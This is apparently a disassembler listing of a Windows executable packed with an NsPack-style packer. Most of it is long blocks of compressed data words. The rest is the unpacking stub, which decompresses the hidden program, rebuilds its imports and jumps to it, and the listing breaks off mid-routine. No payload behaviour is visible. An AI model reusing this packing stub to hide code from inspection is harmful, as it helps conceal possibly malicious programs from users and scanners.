dd 0D9A6D7B6h, 0BDAD90CDh, 85569B7h, 90EEDD26h, 1E472275h
dd 0B3C2C503h, 1D81AFCh, 6693EEB9h, 0CEEB802Bh, 3C134C4Dh
dd 37F5D6CDh, 65C3C1E1h, 0C475FFFCh, 22C8925Fh, 0E8AB508Dh
dd 8A6F1796h, 40C9C6CDh, 9E9C1980h, 158BDBBh, 353D37C6h
dd 597CFFF2h, 0B61FB6F7h, 0C745F6D7h, 6115DA9Fh, 4AF845BCh
dd 7E4C27C7h, 10A4E871h, 0D959282Ch, 0D3C13096h, 1A4F7B75h
dd 0F5C62EDEh, 67762F29h, 0D630A46Fh, 1E653E06h, 3429045Eh
dd 0BC2F06BAh, 2B00C652h, 0C2D210F9h, 43D219E0h, 0C3FEE772h
dd 10705E7h, 4ECA60D7h, 0BF1F69FAh, 0F977CD8Bh, 0E14CB4F6h
dd 24D8A72Dh, 0A4161CB0h, 6255B879h, 35119FA5h, 147BF946h
dd 0F5FF68C3h, 0FAFF059Ch, 0E906BE6Ch, 233C5D72h, 0E52872F0h
dd 507468Bh, 0A5B8D40Ah, 0D9B31052h, 2E15B1D5h, 500F8854h
dd 46E40E4Fh, 16E9708Fh, 0DA326543h, 0A03F9C87h, 30B0A6A6h
dd 6CE19C9Eh, 8DDD718Ah, 87ABD822h, 50032A4Ch, 0DE5A011Bh
dd 89DB6799h, 0A5B37A3Ah, 0B46BA671h, 8411D86Dh, 0A5EE2109h
dd 98F6BD48h, 0C2D2D995h, 0BDCB0F17h, 46971778h, 265F2DC7h
dd 0C8B18823h, 90DBF01Eh, 448EFEBEh, 40ED7D7Ah, 7F47FAFBh
dd 0D87BF6A8h, 0E13CA588h, 90F494E5h, 1A504AD4h, 0F3AC82C0h
dd 0BF0A1A74h, 909B77D7h, 0BC1A774Ah, 49CCF5DCh, 8D6CCFFFh
dd 0B79BE0BFh, 0B90B18AAh, 8F9C8F9Ah, 0ED2690C9h, 3F0FC684h
dd 25D00867h, 0F0DC5F6Fh, 10957D32h, 6995DA3h, 0EC9651AAh
dd 22D6AD8Bh, 863E894Ah, 4EE4D690h, 0AEA0036Ah, 36C93289h
dd 71ACD26Dh, 0C61FD237h, 2CBE2457h, 69756DA3h, 85599FC2h
dd 31AAAA23h, 31D9BD73h, 83225DF9h, 20BD5615h, 0D1530716h
dd 821398D1h, 53701CD2h, 12050AE8h, 9276060h, 70FFE40Ch
dd 0C780483Bh, 4827355Dh, 33AFE249h, 0F9635975h, 27F7BB01h
dd 286F24DDh, 55D7159Ah, 9FF8D15Bh, 0F1915284h, 43FAD827h
dd 4625BE7Dh, 21CAAD5Eh, 0A7AE7DE6h, 9A972FE0h, 501BFDB0h
dd 734D3EF9h, 23D2BF3Ah, 0A0C5E80Fh, 0AA81D4B9h, 0A90CECEFh
dd 14B821E7h, 16E3CA01h, 3CE41B20h, 8FF0D147h, 9B43AD35h
dd 7EEF4A92h, 1C01C8A2h, 0BF30E391h, 69C052Ah, 715D1306h
dd 35162EAAh, 12465829h, 0C82B440h, 451EB948h, 0D9E2C412h
dd 68555872h, 3A0C9965h, 44DC3FE0h, 335F4E6Dh, 108532ADh
dd 0A352FE1Eh, 4272C4B2h, 838A64D7h, 16E61C28h, 961578F8h
dd 965E8627h, 806CD7B4h, 2C8E5C9h, 0DF87973h, 17D7432Bh
dd 0D74318E0h, 0AA2C5464h, 7181C436h, 39853B17h, 8B0073C3h
dd 0D142E68Dh, 7AD9FCA6h, 0F455BE59h, 0C62D5C43h, 0D6BC49A6h
dd 0D60D8AC9h, 0ADE1A2DDh, 0BAAA24A2h, 7CDA98Fh, 66338FCAh
dd 8B42A00Bh, 0D4E31AAEh, 0C1B457EAh, 1A52E6D5h, 5656629Eh
dd 0AE944D10h, 0DC8861D0h, 4193FE0Fh, 914FACC4h, 108AB07Bh
dd 1F17818Ah, 0C7B64BABh, 0B002109h, 6848F5D5h, 1665DD13h
dd 0CFA55645h, 6DEEB620h, 165DF3ADh, 0E65D19CEh, 82A7D828h
dd 6E46928h, 84C77554h, 385010F5h, 2DF910A4h, 0F522C8E2h
dd 28E17447h, 15020B82h, 0BD94BC2h, 6AC9CA9h, 69EBE895h
dd 2AEE591Dh, 1EA30B7Dh, 1594B112h, 0D0C92A72h, 0D04687Ah
dd 0BF75C6F1h, 8324525Ah, 4D923B21h, 8981CB77h, 1F26BC72h
dd 4CE9B84Eh, 0F1642AC7h, 0CAA5EF1Fh, 0AA2AB069h, 0C549D3C2h
dd 5D2864BDh, 18245016h, 8EECDAB8h, 0FAC16A37h, 0D7CC2416h
dd 0FA3469F6h, 0C6D0A08Dh, 300EE1E5h, 0ECD71C1Eh, 6E373D7Ah
dd 13E07EACh, 7F8A3C65h, 969A73Dh, 3EA0C89Eh, 0E42B2B02h
dd 98E2762h, 0CD719A8Bh, 7E0DDAF8h, 3A2381A2h, 0F0DCFBE1h
dd 63D5BEB1h, 5BCB3AF3h, 359EE1E0h, 88379B6Bh, 77E60AD0h
dd 0BBAE829Dh, 896F432Eh, 4F1565FBh, 0EC78B3EEh, 376FE4C6h
dd 7A0EE2AEh, 672CD149h, 65C59690h, 0CEB80A10h, 22C97BCAh
dd 8EE8CA3Bh, 0A0CCF3FBh, 87525409h, 2CB0FDC5h, 0DCF56E62h
dd 9600C20Eh, 85DC9403h, 6014FFh, 8AE7B800h, 86C97A5Ah
dd 6DA5F213h, 750B0971h, 0F4D4618Dh, 69FEA07Dh, 6EF62168h
dd 7CCAE9D9h, 979DE3D6h, 0D2362CE5h, 379DAFB8h, 70F26CA3h
dd 0B658A08Eh, 1A1333B9h, 2D1DA30Ch, 4E62C16Dh, 265B96ACh
dd 623E7954h, 0AA4C8EA4h, 8332C4A0h, 0B8372BECh, 44C9DB5Ch
dd 42667910h, 0A56FF761h, 26891E13h, 0B43DFDC4h, 5C9012EBh
dd 7CCFB9E7h, 0FEBA69BFh, 8B7FBBDCh, 7B74E435h, 0C4B33AA1h
dd 0DD869BBFh, 0E6B6B1BAh, 5A604799h, 0FECAA21h, 3C25A5D1h
dd 0DE895646h, 621E95F9h, 0A18BCAB8h, 0B552288Dh, 189076D5h
dd 8AD2EAh, 617EC4FBh, 6654E24Eh, 0B9F78AA2h, 0F6E50AAFh
dd 0D46A17EFh, 95DC8C79h, 2706BD28h, 0B3765A20h, 4DBCFBD7h
dd 362D0754h, 7A3EEF59h, 0DF2E0B7Eh, 0F6010730h, 0A878361h
dd 8C804195h, 9E555B7h, 0E49DD072h, 0B57E7A29h, 0C5655E92h
dd 42144AF0h, 9344082Bh, 0F185F2h, 6EFFB009h, 2D28F902h
dd 2414F6D4h, 1DFFD732h, 0DF035CFCh, 899AB22Bh, 38D53053h
dd 928302D0h, 2842447Dh, 0D1658ACFh, 0ECF3FC69h, 2114AEAEh
dd 1CF351D5h, 0A6FB0E7Ch, 92544D27h, 0D06A919Ch, 0B6AF33B7h
dd 97CF8DEAh, 55B87C94h
dd 0C0CA7514h, 0B96DE887h, 0EE04631h, 0E6466E16h, 77356A27h
dd 0F1DC99DDh, 2F07CC03h, 2C27FD28h, 27E245E2h, 0A2865528h
dd 786B4D25h, 0A07530BAh, 3EBCBAA2h, 0C15C4261h, 227A3A13h
dd 0AFC5ABD3h, 0A7EFB43Ch, 0C350C587h, 3F5537B2h, 0E609E1Ah
dd 63A3CF3Ah, 652F0770h, 51CF3879h, 59968EE0h, 0D6E1CB2h
dd 2BA7597Fh, 3F07298Fh, 0BF644EBDh, 0CD638C1Ch, 0EA12F2E4h
dd 0FF19A505h, 4F413520h, 29E69368h, 97DCAB4Ch, 32E0D928h
dd 0AE3DCB2Dh, 0B2AC26CCh, 0AA110BD2h, 7DF50EF1h, 4FB02076h
dd 8DF50C18h, 0E9476612h, 0F5285265h, 893C947Bh, 11D51A07h
dd 5E2FE37Dh, 5A0632h, 0B2C8DBC5h, 2903B07h, 0ECBEF2C0h
dd 1AB5622Fh, 6C2B0FB0h, 31DB96C7h, 3B107C17h, 8361C0D5h
dd 7443A5E3h, 409466DBh, 51A93FABh, 2E10CAE5h, 0C7DB14A1h
dd 0CDB606E4h, 261D9640h, 4A43B56Dh, 0DE5E320Eh, 2EF7A6F5h
dd 48AF2263h, 110D61F6h, 4A59E4B3h, 84FB7AFBh, 0B597F8C4h
dd 6EA57822h, 3CC0BFB9h, 0E66BF492h, 40CA5FC0h, 7FE630E4h
dd 8494CC53h, 2F68D611h, 3FBDD1D1h, 55453DD5h, 0CE150275h
dd 2107C6B2h, 3D3AF815h, 0D02DB980h, 0A38764EBh, 0A1FB94DFh
dd 9A3DA151h, 0B4AECDAAh, 47DC4AF9h, 0F22C7DF4h, 2C4B18F3h
dd 85728ED0h, 0D3F72038h, 9257BAD4h, 7E3B0CCEh, 0C60E2F28h
dd 0E163C065h, 42C6FADCh, 9C95230Ah, 0A85FA7DAh, 0A3105C29h
dd 0E70F81C0h, 3B04CC60h, 0B6F73A3Fh, 3525E3CBh, 0FE581CDBh
dd 47CB7A20h, 97BE556Eh, 9C35D334h, 3A9302ADh, 42373238h
dd 0EEE234C8h, 12C1ADE1h, 1919BC7Ah, 76FE34E8h, 6F1C73D2h
dd 4C9F250Ah, 56098D55h, 745FA2Ah, 250DAAF2h, 9BA0BAB4h
dd 2D830578h, 5E4F1B24h, 39FC2CEDh, 9DCB7278h, 8978660Bh
dd 803BBE69h, 0F1EE0DA8h, 3A4E5473h, 4F2B057Fh, 6434A598h
dd 7941E822h, 98B521D2h, 736BC997h, 0CD05A902h, 2D273E05h
dd 992BBD8Bh, 8E0F30C9h, 4C1CDC95h, 4A9E0599h, 99D17A0Eh
dd 0A02DBA49h, 7D7E1B14h, 4A1E9092h, 77AE60Ah, 0F7096173h
dd 0A99BA7E7h, 0F2C807B2h, 0E6AC304Bh, 343F2686h, 2F6557CAh
dd 2EEDD30Dh, 6420DD6Ch, 5FE272E0h, 6BC481FDh, 0A159B362h
dd 0D6356AA1h, 5D9438C2h, 310D87E4h, 0A27ED86Fh, 283C77BAh
dd 0DE9A8B4Ch, 349700C5h, 73CD6287h, 0CCC5EBDEh, 0D703C53Ch
dd 4011B96Ah, 0C5CCCB54h, 2530BD7Dh, 337546A4h, 2DAC17FDh
dd 6DA0C662h, 0C92E0B56h, 12B2717Eh, 0C966822Fh, 9722DC0h
dd 53CD9D5Eh, 0CD5FE449h, 6D2CAA2Fh, 64151172h, 0C8646ABDh
dd 3C69C474h, 0C58285E0h, 1FAAF23Ch, 2999ADD4h, 629DAF53h
dd 0E89395Fh, 6109FCB6h, 0CE5CDD24h, 0D8560EA8h, 0D18D2C98h
dd 35BC2A14h, 5AEE646Dh, 823057E6h, 72BAA486h, 0BD988C52h
dd 0F0B0CAE0h, 3C4A8594h, 0A4E1CD88h, 13D9A8B2h, 5C660BFh
dd 9F44988h, 176948FEh, 0CF4ABEE8h, 4B42B368h, 85138EE6h
dd 0B346F7A5h, 520DC2EEh, 300A1747h, 472288CAh, 93676137h
dd 0FB5CE26Dh, 0DC553BA3h, 0AD6A72EFh, 1A98BA67h, 0BF82C663h
dd 1E8849h, 0FC86E874h, 73BBFC85h, 28CE04EFh, 42D9B30Fh
dd 0F9D2830Ch, 0BE50954Ah, 38FCF493h, 1133241Ah, 721720ECh
dd 810105FDh, 0F98EB085h, 0B924FAF3h, 7F4455EAh, 6AD3692h
dd 386E63D9h, 7BFD89F1h, 860BF2F7h, 123E9EAh, 18B89C81h
dd 79CF92E0h, 0E2886290h, 0D28EA2CBh, 0EA2B2BFFh, 0D2C3F00Dh
dd 75B97767h, 0E6B8F932h, 0FF3A5CB7h, 60E8240Bh, 1D808651h
dd 2EBEAE47h, 56B57E0Ch, 0B1C2E310h, 0B6171F6Eh, 611A29ABh
dd 840E946Ch, 5E16A607h, 0C3FA9205h, 0F93C12BAh, 9D39B3C2h
dd 0DCA613Eh, 6824F41Eh, 0C0AD6BC2h, 0E8C01F83h, 91210CF4h
dd 894DEDh, 8C8DF666h, 274E66D7h, 0DE14DF91h, 2576B975h
dd 964E6C1Fh, 18AF8519h, 0BAD88AEAh, 9205E3FBh, 0D1788942h
dd 17E908CBh, 9B38574Fh, 5A865AE9h, 74C5AAF9h, 0B9CB04Bh
dd 0F481D7F0h, 0BE9A96CCh, 9F6903BDh, 974EF11Dh, 1625937h
dd 0CDEE25EEh, 3511C51Bh, 0DA1D3DD7h, 9F4C4155h, 925F1F8Eh
dd 8BA451DBh, 9ED874Fh, 7627BF35h, 9089F8FAh, 40EB903Bh
dd 19E69B5Ah, 93CE21A7h, 0DFF4BAC6h, 0ED526663h, 0BB32DBE2h
dd 91EDCB30h, 7F21ADF4h, 868D0C74h, 97CADEB3h, 8140FB6Fh
dd 0B4096378h, 519801B9h, 58ABC0Bh, 5E516B70h, 0DAE9C9ABh
dd 0EC6C4AF4h, 0A7824F67h, 4D32A7E9h, 0A986E95Bh, 411D1018h
dd 40FD76AEh, 6E8065EDh, 0CD115D1Bh, 0D4B50658h, 0EDA75EB8h
dd 68E4C76Dh, 2943FDE3h, 0F9A978E7h, 94468FD1h, 283ADE27h
dd 639955E7h, 1DD5E1D3h, 6644E5ECh, 0E48EA063h, 0C2827EFCh
dd 9454DD5h, 8AC96DB5h, 9BAB1F22h, 73EDA7CAh, 1788D3BAh
dd 1C59946Eh, 3885337Bh, 5E5E2071h, 0EE2C9E98h, 0C8D42C91h
dd 92393C52h, 0FE0B0C62h, 0E235203Eh, 0AD0D83DAh, 41FC5E83h
dd 3AC7E311h, 0EF9CB122h, 0EA12ECA4h, 83D717F7h, 39F0E3F3h
dd 377C84Ch, 0ABB8197Eh, 49CA3D27h, 0ADE9E33Ch, 1E4255E7h
dd 0E3AC93FCh, 0A99AD18Fh, 0BCF2F813h, 7D8D87FEh, 64000032h
dd 6F839023h, 88ABDF75h, 185DF3C9h, 21541733h, 63E07162h
dd 87CE43A0h, 8F286E51h, 0CF73226Ah, 11659BC8h, 0C12F3B59h
dd 46CE5E73h, 0CE19D2E1h, 4360BE72h, 2BE05E0Eh, 0A770ECADh
dd 0E20496B1h, 8410556Eh, 13D90CEFh, 5839434Dh, 2469580Fh
dd 10D61471h, 171AD79Fh, 258FFB1Ch, 0ED26F3F3h, 0BF6B5886h
dd 10E7FDE1h, 0F2459510h, 0D1EE9ED7h, 0FE089DBBh, 1F1CD48h
dd 0AEC6DFFDh, 847E6059h, 0BA98E4D6h, 0C8A21EAh, 404D6E46h
dd 0CFC77DEFh, 4CED2D02h, 5ED1C30Fh, 720C0588h, 7F24E89Dh
dd 72E9DE7Bh, 21E6E9DDh, 0ED620B4Fh, 5785B29Bh, 37B33A47h
dd 6B1A9D0Fh, 2009F9C4h, 0FBA47B10h, 0E7E3CCE0h, 2E17309Dh
dd 2F47CB5Eh, 0E82FDFB5h, 1B9DCE5h, 271DA776h, 0E91C7090h
dd 5AFDEB94h, 2044DBC9h, 0D2283125h, 0B873367Bh, 443F88ABh
dd 0F195D387h, 56238E87h, 8954409Ch, 3EA6F0A4h, 24F6D94Dh
dd 75198B7Fh, 0C412F180h, 72A1187Fh, 54107F2Fh, 7E65669Ah
dd 3A7A636Fh, 90842549h, 11F3DD5h, 3EE044CDh, 1204CC1Fh
dd 0BCBADAC6h, 7825E62Fh, 0EC15A31Ah, 0BB05F861h, 7DF40925h
dd 0C7141C21h, 1D68C445h, 0E0DCB6D7h, 0B15F01ABh, 0AF05B331h
dd 0AF542084h, 532444A0h, 76C8006Ah, 8D603141h, 0C08CD62Eh
dd 0F9E2C305h, 23D9A1EBh, 51153331h, 9A391C6Ch, 0C6B8AA2Dh
dd 2F4250E1h, 6AC2DE9Ch, 0A01EACE6h, 0A4122ECFh, 28E7B4D8h
dd 0B8ED567Fh, 45D03978h, 6357B7DDh, 0A01A25E5h, 7C2D26EDh
dd 0F5E2D9DEh, 0AF1B5138h, 1CBC1758h, 455BB4C0h, 0C197C65h
dd 0F94A1A5Bh, 67D8E67h, 0E3C6B044h, 0BD93569Ah, 6D60AF11h
dd 9BFD8BE4h, 595E86EBh, 0D055100h, 0DC8FA322h, 0E00B7FEAh
dd 0C5E8C901h, 0B9DC7EB4h, 0B3F9EB03h, 8BC5B68Ch, 5C2CA94Fh
dd 2C7B852Bh, 0E4D84D85h, 0F5D7CD86h, 4C2360D9h, 6E6013D7h
dd 0DCB2CF88h, 10A120EFh, 0B72DA089h, 12584BDEh, 6E8A2FA8h
dd 4C6B37E7h, 0A23908DAh, 26B237C6h, 0C50C48EFh, 93933846h
dd 0DCFC8F90h, 286A3826h, 57BE8986h, 32C1584Eh, 0F91FF961h
dd 0EE5D7455h, 0D037655Fh, 0C6134D59h, 3D6C42AAh, 9E75471Eh
dd 644BEEBh, 374CB68Ch, 88021020h, 99DCB56Ch, 0E41E5BCBh
dd 9A099585h, 4F812576h
dd 6A2FD6FBh, 629A5579h, 2FECB70Bh, 853FCB1Ch, 0BAA34C09h
dd 6B5A8501h, 46D22ABDh, 8F734AE2h, 4143A904h, 0D6F8F7A6h
dd 34FDA7C5h, 306850B1h, 0AD16EA3Ch, 513D5D9Eh, 42450987h
dd 7CAE6735h, 9E51E393h, 534876B9h, 0A049B54Dh, 0C746648Dh
dd 8E8CAB2Bh, 0AC88518h, 50A313FCh, 97D4D504h, 0C2EB1117h
dd 4D26C1D2h, 1711F3C4h, 91D174B3h, 3E540A0Dh, 8BB5C1B4h
dd 6FA80DCBh, 6AB9943Eh, 0B09A2013h, 0BBE4F1E1h, 7A085BE3h
dd 0D63B9079h, 64AFE530h, 4E6FFB8Fh, 0E8839F36h, 7D664321h
dd 31D6621Eh, 1B8940ACh, 0F357C5F5h, 0E3E26C88h, 69D283F4h
dd 52154097h, 46D55911h, 61182944h, 0CD128DE1h, 6BCC0ECBh
dd 0EF99F3DBh, 0B605FDFh, 79E68BD0h, 177ABE91h, 55B5ABC6h
dd 0A83D2F8Dh, 0D6AEBC1Fh, 2F1EDAADh, 1EE0860Ah, 9F7F64D2h
dd 8709094Ch, 0A427CC14h, 28ACE955h, 580h dup(0)
dd 14h, 0
dd 659FCh, 1D77A1A0h, 0C7C80h, 12h, 0Dh, 65AD9h, 71AB4428h
dd 120005h, 180000h, 5AE10000h, 6AEA0006h, 137712h, 12h
dd 25h, 65AE9h, 7C812A09h, 0Eh, 3 dup(0)
db 0
align 2
dw 6547h
db 74h ; t
db 50h, 72h, 6Fh
db 63h ; c
db 41h, 2 dup(64h)
db 72h ; r
db 65h, 2 dup(73h)
db 47h ; G
db 65h, 74h, 4Dh
db 6Fh ; o
db 64h, 75h, 6Ch
db 65h ; e
db 48h, 61h, 6Eh
db 64h ; d
db 6Ch, 65h, 41h
db 4Ch ; L
db 6Fh, 61h, 64h
db 4Ch ; L
db 69h, 62h, 72h
db 61h ; a
db 72h, 79h, 41h
db 0FFh
db 74h, 2 dup(0)
aAvariantchange db 'VariantChangeTypeExRaiseException',0
align 1000h
_nsp0 ends
; Section 2. (virtual address 00081000)
; Virtual size : 00030000 ( 196608.)
; Section size in file : 00030000 ( 196608.)
; Offset to raw data for section: 00081000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 481000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 80000h, 0
dd 400000h, 0
dd 7C800000h, 7 dup(0)
dd 3A0000h, 0
dd offset sub_401000
align 8
dd 1, 0
dd 100h, 6 dup(0)
dd 2, 168h, 2 dup(0)
dd 1, 0
dd offset sub_401000
dd 0
dd 2EF67h, 3 dup(0)
dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
dd 7C81CDDAh, 0
dd 71AB4428h, 0
dd 77126AEAh, 0
dd 7C812A09h, 4 dup(0)
dd 81134h, 8109Ch, 3 dup(0)
dd 81141h, 810B8h, 3 dup(0)
dd 8114Ch, 810C0h, 3 dup(0)
dd 81159h, 810C8h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
dd 4C4C44h, 41454C4Fh, 32335455h, 4C4C442Eh, 52454B00h
dd 334C454Eh, 4C442E32h, 4Ch, 64616F4Ch, 7262694Ch, 41797261h
dd 47000000h, 72507465h, 6441636Fh, 73657264h, 73h, 74726956h
dd 506C6175h, 65746F72h, 7463h, 72695600h, 6C617574h, 6F6C6C41h
dd 63h, 74726956h, 466C6175h, 656572h, 78450000h, 72507469h
dd 7365636Fh, 73h
aVariantchanget db 'VariantChangeTypeEx',0
dd 61520000h, 45657369h, 70656378h, 6E6F6974h, 8E000000h
dd 70290EC1h
db 0D7h, 0E3h, 0F0h
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 004815B3 SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-177h]
cmp byte ptr [ecx], 1
jz loc_48144F
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-1E3h]
mov [ebp-1E3h], eax
add [ebp-1B3h], eax
lea esi, [ebp-16Fh]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-14Bh]
test eax, eax
jz loc_4815B3
mov [ebp-1BBh], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_481514
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-1F3h]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_481281
add edi, 4
mov ecx, 0
jmp short loc_481297
; ---------------------------------------------------------------------------
loc_481281: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_48128B: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_4812C4
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_481297: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-147h]
push dword ptr [ebp-14Bh]
mov edx, esi
mov ecx, edi
mov eax, [ebp-1BBh]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_4812C4
add ebx, 8
jmp short loc_48128B
; ---------------------------------------------------------------------------
loc_4812C4: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-1BBh]
call dword ptr [ebp-147h]
lea esi, [ebp-1B3h]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_48132B
loc_4812EC: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_4812F1: ; CODE XREF: start+136j
cmp al, 1
ja short loc_4812EC
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_481311
mov bl, [edx]
cmp [edi], bl
jnz short loc_4812EC
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_48131B
; ---------------------------------------------------------------------------
loc_481311: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_48131B: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_4812F1
loc_48132B: ; CODE XREF: start+F7j
call sub_48146A
lea ecx, [ebp-19Fh]
mov eax, [ecx+8]
cmp eax, 0
jz loc_4813C3
mov esi, edx
sub esi, [ecx+10h]
jz short loc_4813C3
mov [ecx+10h], esi
lea esi, [ebp-16Fh]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_481368
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_481370
; ---------------------------------------------------------------------------
loc_481368: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_481370: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_481399
cmp al, 0EFh
ja short loc_481383
loc_48137D: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_481370
; ---------------------------------------------------------------------------
loc_481383: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_48137D
mov eax, [edi]
add edi, 4
jmp short loc_48137D
; ---------------------------------------------------------------------------
loc_481399: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_4813C3
loc_4813A4: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_4813B1
add ebx, eax
add [edi+ebx], cx
jmp short loc_4813A4
; ---------------------------------------------------------------------------
loc_4813B1: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_4813B6: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_4813C3
add ebx, eax
add [edi+ebx], cx
jmp short loc_4813B6
; ---------------------------------------------------------------------------
loc_4813C3: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-1E3h]
mov edx, [esi]
lea esi, [ebp-187h]
mov al, [esi]
cmp al, 1
jnz short loc_481416
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-14Fh]
pop edi
pop esi
cmp eax, 1
jnz loc_4815B3
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-14Fh]
loc_481416: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 8
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_48144F
inc ebx
lea esi, [ebp-1E3h]
mov edx, [esi]
loc_481430: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-14Fh]
pop edx
pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_481430
loc_48144F: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_481463
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_481463: ; CODE XREF: start+264j
popa
popf
jmp sub_401000
start endp
; =============== S U B R O U T I N E =======================================
sub_48146A proc near ; CODE XREF: start:loc_48132Bp
mov esi, [ebp-1EBh]
or esi, esi
jz loc_48150F
mov edx, [ebp-1E3h]
add esi, edx
loc_481480: ; CODE XREF: sub_48146A+61j
cmp dword ptr [esi], 0
jnz short loc_481493
cmp dword ptr [esi+4], 0
jnz short loc_481493
cmp dword ptr [esi+8], 0
jnz short loc_481493
jmp short loc_48150D
; ---------------------------------------------------------------------------
loc_481493: ; CODE XREF: sub_48146A+19j
; sub_48146A+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-0BFh]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-157h]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_48150F
mov [ebp-1DBh], eax
add edi, [esi]
add esi, 4
loc_4814C1: ; CODE XREF: sub_48146A+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_4814CD
inc esi
jmp short loc_481480
; ---------------------------------------------------------------------------
loc_4814CD: ; CODE XREF: sub_48146A+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_4814E1
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_4814E1: ; CODE XREF: sub_48146A+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-1DBh]
call dword ptr [ebp-153h]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_48150F
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_4814C1
; ---------------------------------------------------------------------------
loc_48150D: ; CODE XREF: sub_48146A+27j
clc
retn
; ---------------------------------------------------------------------------
loc_48150F: ; CODE XREF: sub_48146A+8j
; sub_48146A+4Aj ...
jmp loc_4815B3
sub_48146A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_481514 proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004815AF SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_481520: ; CODE XREF: sub_481514+12j
movsb
loc_481521: ; CODE XREF: sub_481514+34j
; sub_481514+7Dj
call sub_481593
jnb short loc_481520
xor ecx, ecx
call sub_481593
jnb short loc_48154A
xor eax, eax
call sub_481593
jnb short loc_48155B
mov al, 10h
loc_48153C: ; CODE XREF: sub_481514+2Fj
call sub_481593
adc al, al
jnb short loc_48153C
jnz short loc_481588
stosb
jmp short loc_481521
; ---------------------------------------------------------------------------
loc_48154A: ; CODE XREF: sub_481514+1Bj
call sub_48159F
dec ecx
loop loc_481567
mov eax, ebp
call sub_48159D
jmp short loc_481589
; ---------------------------------------------------------------------------
loc_48155B: ; CODE XREF: sub_481514+24j
lodsb
shr eax, 1
jz short loc_4815AF
adc ecx, 2
mov ebp, eax
jmp short loc_481589
; ---------------------------------------------------------------------------
loc_481567: ; CODE XREF: sub_481514+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_48159D
cmp eax, 7D00h
jnb short loc_481587
cmp eax, 500h
jnb short loc_481588
cmp eax, 7Fh
